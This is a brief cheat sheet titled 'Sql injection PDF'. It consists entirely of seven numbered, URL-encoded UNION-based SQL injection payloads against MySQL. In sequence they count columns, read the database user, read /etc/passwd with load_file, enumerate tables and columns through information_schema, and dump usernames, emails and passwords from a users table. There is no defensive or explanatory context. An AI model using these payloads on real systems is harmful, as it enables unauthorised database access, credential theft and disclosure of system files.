Sql injection PDF

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1.'ORDER+BY+4--+-
2.'AND+0+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12--+-
3.'AND+0+UNION+SELECT+1,2,user(),4,5--+-
4.'AND+0+UNION+SELECT+1,2,load_file('/etc/passwd'),4,5--+-

5.'AND+0+UNION+SELECT+1,2,group_concat(table_name),4,5,6+from+information_schema.tables+where+table_schema=database()--+-

6.'AND+0+UNION+SELECT+1,2,group_concat(column_name),4,5,6+from+information_schema.columns+where+table_name=CHAR(117, 115, 101, 114, 115)--+-

7.'AND+0+UNION+SELECT+1,2,group_concat(username,0x3a,email,0x3a,password),4,5,6+from+users--+-